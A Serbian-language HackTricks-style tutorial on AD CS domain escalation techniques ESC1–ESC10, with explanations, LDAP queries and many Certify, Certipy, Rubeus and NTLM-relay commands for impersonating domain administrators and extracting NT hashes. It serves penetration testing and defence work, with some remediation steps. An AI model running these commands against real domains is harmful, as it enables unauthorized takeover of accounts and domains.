AD CS Domain Escalation

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ovo je sažetak tehnika eskalacije iz sledećih postova:

Pogrešno Konfigurisane Šablone Sertifikata - ESC1

Objašnjenje

Pogrešno Konfigurisane Šablone Sertifikata - ESC1 Objašnjeno

  • Prava za upis su dodeljena korisnicima sa niskim privilegijama od strane Enterprise CA.

  • Odobrenje menadžera nije potrebno.

  • Nisu potrebni potpisi od ovlašćenog osoblja.

  • Bezbednosni deskriptori na šablonima sertifikata su preterano dozvoljavajući, omogućavajući korisnicima sa niskim privilegijama da dobiju prava za upis.

  • Šabloni sertifikata su konfigurisani da definišu EKU koje olakšavaju autentifikaciju:

  • Identifikatori Extended Key Usage (EKU) kao što su Autentifikacija Klijenta (OID 1.3.6.1.5.5.7.3.2), PKINIT Autentifikacija Klijenta (1.3.6.1.5.2.3.4), Logovanje Smart Karticom (OID 1.3.6.1.4.1.311.20.2.2), Bilo koja Namena (OID 2.5.29.37.0), ili bez EKU (SubCA) su uključeni.

  • Mogućnost zahtevaoca da uključi subjectAltName u Zahtevu za Potpisivanje Sertifikata (CSR) je dozvoljena šablonom:

  • Active Directory (AD) prioritetno tretira subjectAltName (SAN) u sertifikatu za verifikaciju identiteta ako je prisutan. To znači da specificiranjem SAN-a u CSR-u, sertifikat može biti zatražen da se predstavi kao bilo koji korisnik (npr. administrator domena). Da li zahtevaoc može da specificira SAN je naznačeno u AD objektu šablona sertifikata putem svojstva mspki-certificate-name-flag. Ovo svojstvo je bit maska, a prisustvo zastave CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT dozvoljava specificiranje SAN-a od strane zahtevaoca.

Konfiguracija omogućava korisnicima sa niskim privilegijama da zahtevaju sertifikate sa bilo kojim SAN-om po izboru, omogućavajući autentifikaciju kao bilo koji princip domena putem Kerberosa ili SChannel-a.

Ova funkcionalnost je ponekad omogućena radi podrške za generisanje HTTPS ili host sertifikata "na letu" od strane proizvoda ili servisa za implementaciju, ili zbog nedostatka razumevanja.

Napomenuto je da kreiranje sertifikata sa ovom opcijom pokreće upozorenje, što nije slučaj kada se postojeći šablon sertifikata (kao što je WebServer šablon, koji ima omogućeno CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) duplicira, a zatim modifikuje da uključi autentifikacioni OID.

Zloupotreba

Da pronađete ranjive šablone sertifikata možete pokrenuti:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

Da biste zloupotrebili ovu ranjivost kako biste se predstavili kao administrator, možete pokrenuti:

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

Zatim možete transformisati generisani sertifikat u .pfx format i koristiti ga za autentifikaciju pomoću Rubeusa ili certipy ponovo:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Windows binarni fajlovi "Certreq.exe" & "Certutil.exe" mogu se koristiti za generisanje PFX-a: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

Enumeracija šablona sertifikata unutar AD Forest-ove konfiguracione šeme, posebno onih koji ne zahtevaju odobrenje ili potpise, koji poseduju Client Authentication ili Smart Card Logon EKU, i sa omogućenom zastavicom CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, može se izvršiti pokretanjem sledećeg LDAP upita:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

Pogrešno konfigurisani šabloni sertifikata - ESC2

Objašnjenje

Drugi scenario zloupotrebe je varijacija prvog:

  1. Prava za upisivanje su dodeljena korisnicima sa niskim privilegijama od strane Enterprise CA.

  2. Zahtev za odobrenje menadžera je onemogućen.

  3. Potreba za ovlašćenim potpisima je izostavljena.

  4. Previše dozvoljavajući sigurnosni deskriptor na šablonu sertifikata dodeljuje prava za upisivanje sertifikata korisnicima sa niskim privilegijama.

  5. Šablon sertifikata je definisan da uključuje Any Purpose EKU ili nema EKU.

Any Purpose EKU dozvoljava sertifikatu da bude dobijen od strane napadača za bilo koju svrhu, uključujući autentikaciju klijenta, autentikaciju servera, potpisivanje koda, itd. Isti tehniku koristi za ESC3 može se koristiti za iskorišćavanje ovog scenarija.

Sertifikati bez EKU-ova, koji deluju kao sertifikati podređenih CA, mogu biti iskorišćeni za bilo koju svrhu i takođe mogu biti korišćeni za potpisivanje novih sertifikata. Stoga, napadač može specificirati proizvoljne EKU-ove ili polja u novim sertifikatima koristeći sertifikat podređenog CA.

Međutim, novi sertifikati kreirani za autentikaciju domena neće funkcionisati ako podređeni CA nije poveren od strane objekta NTAuthCertificates, što je podrazumevana postavka. Ipak, napadač može i dalje kreirati nove sertifikate sa bilo kojim EKU-om i proizvoljnim vrednostima sertifikata. Ovi sertifikati bi mogli biti potencijalno zloupotrebljeni za širok spektar svrha (npr. potpisivanje koda, autentikacija servera, itd.) i mogli bi imati značajne posledice za druge aplikacije u mreži poput SAML-a, AD FS-a ili IPSeca.

Da bi se nabrojali šabloni koji odgovaraju ovom scenariju unutar konfiguracione šeme AD šume, može se pokrenuti sledeći LDAP upit:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Pogrešno konfigurisani šabloni agenta za upisivanje - ESC3

Objašnjenje

Ovaj scenario je sličan prvom i drugom, ali zloupotrebljava različiti EKU (Agent zahteva za sertifikat) i 2 različita šablona (stoga ima 2 skupa zahteva),

Agent zahteva za sertifikat EKU (OID 1.3.6.1.4.1.311.20.2.1), poznat kao Agent za upisivanje u Microsoft dokumentaciji, omogućava principalu da se upiše za sertifikat u ime drugog korisnika.

"Agent za upisivanje" upisuje se u takav šablon i koristi rezultirajući sertifikat za su-potpisivanje CSR-a u ime drugog korisnika. Zatim šalje su-potpisani CSR CA-u, upisujući se u šablon koji dozvoljava "upisivanje u ime", a CA odgovara sa sertifikatom koji pripada "drugom" korisniku.

Zahtevi 1:

  • Prava za upisivanje su dodeljena korisnicima sa niskim privilegijama od strane Enterprise CA.

  • Zahtev za odobrenje menadžera je izostavljen.

  • Nema zahteva za ovlašćenim potpisima.

  • Bezbednosni opisnik šablona sertifikata je preterano dozvoljavajući, dodeljujući prava za upisivanje korisnicima sa niskim privilegijama.

  • Šablon sertifikata uključuje Agent zahteva za sertifikat EKU, omogućavajući zahtev za druge šablone sertifikata u ime drugih principala.

Zahtevi 2:

  • Enterprise CA dodeljuje prava za upisivanje korisnicima sa niskim privilegijama.

  • Odobrenje menadžera je zaobiđeno.

  • Verzija šeme šablona je ili 1 ili premašuje 2, i specificira zahtev za izdavanje aplikacione politike koji zahteva Agent zahteva za sertifikat EKU.

  • EKU definisan u šablonu sertifikata dozvoljava autentikaciju domena.

  • Ograničenja za agente za upisivanje nisu primenjena na CA.

Zloupotreba

Možete koristiti Certify ili Certipy da zloupotrebite ovaj scenario:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

Korisnici koji su dozvoljeni da dobiju sertifikat za agent za upis, predlošci u koje su agenti za upis dozvoljeni da se upišu, i nalozi u ime kojih agent za upis može delovati mogu biti ograničeni od strane preduzeća CA. Ovo se postiže otvaranjem certsrc.msc snap-in-a, desnim klikom na CA, klikom na Properties, a zatim navigiranjem do kartice "Agenti za upis".

Međutim, primećeno je da je podrazumevana postavka za CA "Ne ograničavaj agente za upis." Kada se ograničenje na agente za upis omogući od strane administratora, postavljanjem na "Ograniči agente za upis," podrazumevana konfiguracija ostaje izuzetno dozvoljavajuća. To omogućava Svima pristup za upis u sve predloške kao bilo ko.

Ranjiva kontrola pristupa predloška sertifikata - ESC4

Objašnjenje

Bezbednosni deskriptor na predlošcima sertifikata definiše dozvole koje specifični AD principali poseduju u vezi sa predloškom.

Ukoliko napadač poseduje potrebne dozvole da menja predložak i uspostavi bilo koje iskoristive loše konfiguracije navedene u prethodnim sekcijama, eskalacija privilegija bi mogla biti olakšana.

Značajne dozvole koje se odnose na predloške sertifikata uključuju:

  • Vlasnik: Dodeljuje implicitnu kontrolu nad objektom, omogućavajući izmenu bilo kog atributa.

  • FullControl: Omogućava potpunu kontrolu nad objektom, uključujući mogućnost izmene bilo kog atributa.

  • WriteOwner: Dozvoljava izmenu vlasnika objekta u principala pod kontrolom napadača.

  • WriteDacl: Omogućava prilagođavanje pristupa kontrolama, potencijalno dodeljujući napadaču FullControl.

  • WriteProperty: Ovlašćuje uređivanje bilo kojih svojstava objekta.

Zloupotreba

Primer eskalacije privilegija kao prethodni:

ESC4 je kada korisnik ima privilegije pisanja nad predloškom sertifikata. To na primer može biti zloupotrebljeno za prepisivanje konfiguracije predloška sertifikata kako bi se predložak učinio ranjivim na ESC1.

Kao što možemo videti u putanji iznad, samo JOHNPC ima ove privilegije, ali naš korisnik JOHN ima novu AddKeyCredentialLink vezu ka JOHNPC. Pošto je ova tehnika povezana sa sertifikatima, sproveo sam i ovaj napad, koji je poznat kao Senke akreditiva. Evo male demonstracije Certipy-jeve komande shadow auto za dobijanje NT heša žrtve.

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipy može da prepiše konfiguraciju šablona sertifikata jednom komandom. Po podrazumevanoj postavci, Certipy će prepisati konfiguraciju kako bi je učinio ranjivom na ESC1. Takođe možemo navesti parametar -save-old da sačuvamo staru konfiguraciju, što će biti korisno za obnavljanje konfiguracije nakon našeg napada.

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Vulnerabilna kontrola pristupa objektima PKI - ESC5

Objašnjenje

Obimna mreža međusobno povezanih odnosa zasnovanih na ACL-u, koja uključuje nekoliko objekata izvan predložaka sertifikata i sertifikacionog tela, može uticati na bezbednost celog AD CS sistema. Ti objekti, koji mogu značajno uticati na bezbednost, obuhvataju:

  • AD računarski objekat CA servera, koji može biti kompromitovan putem mehanizama poput S4U2Self ili S4U2Proxy.

  • RPC/DCOM server CA servera.

  • Bilo koji potomak AD objekta ili kontejner unutar specifičnog putanje kontejnera CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>. Ova putanja uključuje, ali nije ograničena na, kontejnere i objekte poput kontejnera za predloške sertifikata, kontejnera za sertifikaciona tela, objekta NTAuthCertificates i kontejnera za usluge upisa.

Bezbednost PKI sistema može biti ugrožena ako nisko privilegovani napadač uspe da preuzme kontrolu nad bilo kojim od ovih ključnih komponenti.

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Objašnjenje

Tema razmatrana u CQure Academy postu takođe se dotiče implikacija zastave EDITF_ATTRIBUTESUBJECTALTNAME2, kako je opisano od strane Microsoft-a. Ova konfiguracija, kada je aktivirana na Sertifikacionom telu (CA), dozvoljava uključivanje vrednosti definisanih od strane korisnika u alternativno ime subjekta za bilo koji zahtev, uključujući one konstruisane iz Active Directory®. Kao rezultat, ova odredba omogućava napadaču da se upiše putem bilo kog predloška postavljenog za autentikaciju domena—posebno onih otvorenih za upisivanje korisnika bez privilegija, poput standardnog korisničkog predloška. Kao rezultat, sertifikat može biti obezbeđen, omogućavajući napadaču da se autentikuje kao administrator domena ili bilo koja druga aktivna entitet unutar domena.

Napomena: Pristup za dodavanje alternativnih imena u Zahtev za potpisivanje sertifikata (CSR), putem argumenta -attrib "SAN:" u certreq.exe (nazvanog "Parovi imena vrednosti"), predstavlja kontrast od strategije iskorišćavanja SAN-ova u ESC1. Ovde, razlika leži u načinu na koji su informacije o nalogu inkapsulirane—unutar atributa sertifikata, umesto proširenja.

Zloupotreba

Da bi proverile da li je podešavanje aktivirano, organizacije mogu koristiti sledeću komandu sa certutil.exe:

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

Ova operacija u osnovi koristi pristup udaljenom registru, stoga, alternativni pristup može biti:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Alati poput Certify i Certipy sposobni su da detektuju ovu lošu konfiguraciju i iskoriste je:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

Da biste promenili ove postavke, pretpostavljajući da osoba poseduje administrativna prava domena ili ekvivalentna prava, sledeća komanda može biti izvršena sa bilo koje radne stanice:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

Da biste onemogućili ovu konfiguraciju u svom okruženju, zastava se može ukloniti pomoću:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

Nakon ažuriranja sigurnosnih ispravki u maju 2022. godine, novo izdata sertifikati će sadržati sigurnosno proširenje koje uključuje objectSid svojstvo zahtevaoca. Za ESC1, ovaj SID se izvodi iz određenog SAN-a. Međutim, za ESC6, SID odražava objectSid zahtevaoca, a ne SAN. Da bi se iskoristio ESC6, sistem mora biti podložan ESC10 (Slaba mapiranja sertifikata), koji prioritet daje SAN-u nad novim sigurnosnim proširenjem.

Vulnerabilna kontrola pristupa sertifikacionom telu - ESC7

Napad 1

Objasnjenje

Kontrola pristupa sertifikacionom telu održava se kroz skup dozvola koje regulišu radnje CA. Ove dozvole mogu se pregledati pristupom certsrv.msc, desnim klikom na CA, izborom svojstava, a zatim navigiranjem do kartice Bezbednost. Dodatno, dozvole se mogu nabrojati korišćenjem modula PSPKI pomoću komandi kao što su:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

Ovo pruža uvide u osnovna prava, odnosno ManageCA i ManageCertificates, koji se odnose na uloge "administratora CA" i "menadžera sertifikata" respektivno.

Zloupotreba

Imajući prava ManageCA na autoritetu za sertifikaciju omogućava principalu da daljinski manipuliše postavkama koristeći PSPKI. To uključuje prebacivanje zastavice EDITF_ATTRIBUTESUBJECTALTNAME2 kako bi se omogućila specifikacija SAN-a u bilo kojem obrascu, što je ključni aspekt eskalacije domena.

Ovaj proces može se pojednostaviti korišćenjem PSPKI-jevog cmdleta Enable-PolicyModuleFlag, što omogućava modifikacije bez direktnog GUI interakcije.

Posedovanje prava ManageCertificates olakšava odobravanje čekajućih zahteva, efikasno zaobilazeći zaštitu "odobravanja menadžera sertifikata CA".

Kombinacija modula Certify i PSPKI može se koristiti za zahtevanje, odobravanje i preuzimanje sertifikata:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

Napad 2

Objašnjenje

U prethodnom napadu korišćene su dozvole Manage CA za omogućavanje zastave EDITF_ATTRIBUTESUBJECTALTNAME2 kako bi se izveo ESC6 napad, ali ovo neće imati nikakav efekat dok usluga CA (CertSvc) ne bude ponovo pokrenuta. Kada korisnik ima pravo pristupa Manage CA, korisniku je takođe dozvoljeno da ponovo pokrene uslugu. Međutim, to ne znači da korisnik može da ponovo pokrene uslugu udaljeno. Štaviše, ESC6 možda neće raditi odmah u većini ažuriranih okruženja zbog bezbednosnih ažuriranja iz maja 2022. godine.

Stoga, ovde je predstavljen još jedan napad.

Preduslovi:

  • Samo dozvola ManageCA

  • Dozvola Manage Certificates (može biti dodeljena iz ManageCA)

  • Šablon sertifikata SubCA mora biti omogućen (može biti omogućen iz ManageCA)

Tehnika se oslanja na činjenicu da korisnici sa pravom pristupa Manage CA i Manage Certificates mogu izdati neuspele zahteve za sertifikate. Šablon sertifikata SubCA je ranjiv na ESC1, ali samo administratori mogu upisati u šablon. Dakle, korisnik može zatražiti upis u SubCA - što će biti odbijeno - ali će zatim biti izdato od strane menadžera.

Zloupotreba

Možete dodeliti sebi pristup Manage Certificates dodavanjem vašeg korisnika kao novog službenika.

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

Šablon SubCA može biti omogućen na CA pomoću parametra -enable-template. Podrazumevano, šablon SubCA je omogućen.

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

Ako smo ispunili preduslove za ovaj napad, možemo početi sa zahtevom za sertifikat zasnovan na šablonu SubCA.

Ovaj zahtev će biti odbijen, ali ćemo sačuvati privatni ključ i zabeležiti ID zahteva.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

Sa našim Upravljaj CA i Upravljaj Sertifikatima, možemo zatim izdati zahtev za neuspeli sertifikat pomoću ca komande i parametra -issue-request <ID zahteva>.

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

I na kraju, možemo dobiti izdati sertifikat pomoću req komande i parametra -retrieve <request ID>.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM Relay na AD CS HTTP krajnje tačke – ESC8

Objasnjenje

U okruženjima gde je AD CS instaliran, ako postoji ranjiva web upisna tačka i bar jedan šablon sertifikata je objavljen koji dozvoljava upisivanje domenskog računara i autentifikaciju klijenta (kao što je podrazumevani Machine šablon), postaje moguće da bilo koji računar sa aktivnom uslugom spulera bude kompromitovan od strane napadača!

Nekoliko HTTP-based metoda upisa podržano je od strane AD CS, dostupno kroz dodatne serverske uloge koje administratori mogu instalirati. Ove interfejsi za HTTP-based upisivanje sertifikata su podložni NTLM relay napadima. Napadač, sa kompromitovanog računara, može se predstaviti kao bilo koji AD nalog koji se autentifikuje putem dolaznog NTLM. Dok se predstavlja kao žrtveni nalog, ovi web interfejsi mogu biti pristupljeni od strane napadača da zatraže sertifikat za autentifikaciju klijenta koristeći User ili Machine šablone sertifikata.

  • Web interfejs za upis (starija ASP aplikacija dostupna na http://<caserver>/certsrv/), podrazumevano koristi samo HTTP, što ne pruža zaštitu od NTLM relay napada. Dodatno, eksplicitno dozvoljava samo NTLM autentifikaciju putem svoje Autorizacije HTTP zaglavlja, čime čini sigurnije metode autentifikacije poput Kerberosa neprikladnim.

  • Servis za upisivanje sertifikata (CES), Servis za politiku upisivanja sertifikata (CEP) i Servis za upisivanje mrežnih uređaja (NDES) podrazumevano podržavaju pregovaranje autentifikacije putem njihovog Autorizacije HTTP zaglavlja. Pregovaranje autentifikacije podržava i Kerberos i NTLM, omogućavajući napadaču da smanji na NTLM autentifikaciju tokom relay napada. Iako ovi web servisi podrazumevano omogućavaju HTTPS, HTTPS sam po sebi ne štiti od NTLM relay napada. Zaštita od NTLM relay napada za HTTPS servise je moguća samo kada se HTTPS kombinuje sa vezivanjem kanala. Nažalost, AD CS ne aktivira Proširenu zaštitu za autentifikaciju na IIS-u, što je potrebno za vezivanje kanala.

Uobičajeni problem sa NTLM relay napadima je kratko trajanje NTLM sesija i nesposobnost napadača da interaguje sa servisima koji zahtevaju NTLM potpisivanje.

Ipak, ova ograničenja se prevazilaze iskorišćavanjem NTLM relay napada da bi se stekao sertifikat za korisnika, pošto period važenja sertifikata određuje trajanje sesije, i sertifikat može biti korišćen sa servisima koji zahtevaju NTLM potpisivanje. Za uputstva o korišćenju ukradenog sertifikata, pogledajte:

pageAD CS Account Persistence

Još jedno ograničenje NTLM relay napada je da napadački kontrolisani računar mora biti autentifikovan od strane žrtvenog naloga. Napadač može ili sačekati ili pokušati da prisili ovu autentifikaciju:

pageForce NTLM Privileged Authentication

Zloupotreba

Certify cas enumeriše omogućene HTTP AD CS krajnje tačke:

Certify.exe cas

Svojstvo msPKI-Enrollment-Servers koristi se od strane preduzeća za izdavanje sertifikata (CAs) za čuvanje krajnjih tačaka usluge za izdavanje sertifikata (CES). Ove tačke mogu biti analizirane i navedene korišćenjem alata Certutil.exe:

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA

```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```

Zloupotreba sa Certify

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Zloupotreba sa Certipy

Zahtev za sertifikat podrazumevano pravi Certipy na osnovu šablona Machine ili User, određenog na osnovu toga da li ime naloga koje se prenosi završava znakom $. Određivanje alternativnog šablona može se postići korišćenjem parametra -template.

Tehnika poput PetitPotam može se zatim koristiti za prinudu autentikacije. Kada se radi sa kontrolorima domena, potrebno je specificirati -template DomainController.

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

Bez proširenja sigurnosti - ESC9

Objašnjenje

Nova vrednost CT_FLAG_NO_SECURITY_EXTENSION (0x80000) za msPKI-Enrollment-Flag, poznata kao ESC9, sprečava ugradnju novog sigurnosnog proširenja szOID_NTDS_CA_SECURITY_EXT u sertifikat. Ova zastava postaje relevantna kada je StrongCertificateBindingEnforcement postavljen na 1 (podrazumevana postavka), što se suprotstavlja postavci 2. Njena važnost se povećava u scenarijima gde bi slabije mapiranje sertifikata za Kerberos ili Schannel moglo biti iskorišćeno (kao u ESC10), s obzirom da odsustvo ESC9 ne bi promenilo zahteve.

Uslovi pod kojima postavljanje ove zastave postaje značajno uključuju:

  • StrongCertificateBindingEnforcement nije podešen na 2 (podrazumevana vrednost je 1), ili CertificateMappingMethods uključuje zastavu UPN.

  • Sertifikat je označen zastavom CT_FLAG_NO_SECURITY_EXTENSION unutar postavke msPKI-Enrollment-Flag.

  • Bilo koja EKU za autentikaciju klijenta je navedena u sertifikatu.

  • GenericWrite dozvole su dostupne nad bilo kojim nalogom kako bi se kompromitovao drugi.

Scenario zloupotrebe

Pretpostavimo da John@corp.local ima GenericWrite dozvole nad Jane@corp.local, sa ciljem da kompromituje Administrator@corp.local. Šablon sertifikata ESC9, u koji je Jane@corp.local ovlašćena da se upiše, konfigurisan je sa zastavom CT_FLAG_NO_SECURITY_EXTENSION u svojoj postavci msPKI-Enrollment-Flag.

Prvo, Jane-in heš se dobija korišćenjem Senki za akreditacije, zahvaljujući John-ovom GenericWrite:

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

Nakon toga, Jane-ov userPrincipalName je izmenjen u Administrator, namerno izostavljajući deo domena @corp.local:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

Ova modifikacija ne krši ograničenja, s obzirom da Administrator@corp.local ostaje različit kao userPrincipalName Administrator-a.

Nakon toga, šablona za sertifikat ESC9, označena kao ranjiva, zahteva se kao Jane:

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

Zabeleženo je da userPrincipalName sertifikata odražava Administratora, bez ikakvog "object SID".

userPrincipalName za Jane zatim se vraća na njen originalan oblik, Jane@corp.local:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

Pokušaj autentifikacije sa izdatim sertifikatom sada daje NT heš Administrator@corp.local. Komanda mora uključivati -domain <domain> zbog nedostatka specifikacije domena u sertifikatu:

certipy auth -pfx adminitrator.pfx -domain corp.local

Slabe mape sertifikata - ESC10

Objasnjenje

Dve vrednosti ključa registra na kontroloru domena se odnose na ESC10:

  • Podrazumevana vrednost za CertificateMappingMethods pod HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel je 0x18 (0x8 | 0x10), prethodno postavljena na 0x1F.

  • Podrazumevano podešavanje za StrongCertificateBindingEnforcement pod HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc je 1, prethodno 0.

Slučaj 1

Kada je StrongCertificateBindingEnforcement konfigurisan kao 0.

Slučaj 2

Ako CertificateMappingMethods uključuje bit UPN (0x4).

Zloupotreba slučaja 1

Sa konfigurisanim StrongCertificateBindingEnforcement kao 0, nalog A sa dozvolama GenericWrite može biti iskorišćen da kompromituje bilo koji nalog B.

Na primer, imajući dozvole GenericWrite nad Jane@corp.local, napadač cilja da kompromituje Administrator@corp.local. Postupak odražava ESC9, omogućavajući korišćenje bilo kog obrasca sertifikata.

Inicialno, Jane-ov heš se dobija korišćenjem Senki akreditiva, iskorišćavajući GenericWrite.

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

Naknadno, Jane-ov userPrincipalName je promenjen u Administrator, namerno izostavljajući deo @corp.local kako bi se izbeglo kršenje ograničenja.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

Nakon toga, sertifikat koji omogućava autentikaciju klijenta se zahteva kao Jane, koristeći podrazumevani User šablon.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane-ov userPrincipalName zatim je vraćen na originalni, Jane@corp.local.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

Autentifikacija sa dobijenim sertifikatom će rezultirati NT hešom Administrator@corp.local, zahtevajući specificiranje domena u komandi zbog odsustva detalja domena u sertifikatu.

certipy auth -pfx administrator.pfx -domain corp.local

Zloupotreba slučaja 2

Sa CertificateMappingMethods koji sadrži UPN bit flag (0x4), nalog A sa dozvolama GenericWrite može ugroziti bilo koji nalog B koji nema svojstvo userPrincipalName, uključujući naloge mašina i ugrađenog administratorskog naloga domena Administrator.

Ovde je cilj da se ugrozi DC$@corp.local, počevši od dobijanja heša za Jane putem Senki akreditiva, iskorišćavajući GenericWrite.

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

Jane-ov userPrincipalName zatim je postavljen na DC$@corp.local.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

Sertifikat za autentikaciju klijenata se zahteva kao Jane koristeći podrazumevani User šablon.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

userPrincipalName korisnika Jane vraća se na originalnu vrednost nakon ovog procesa.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

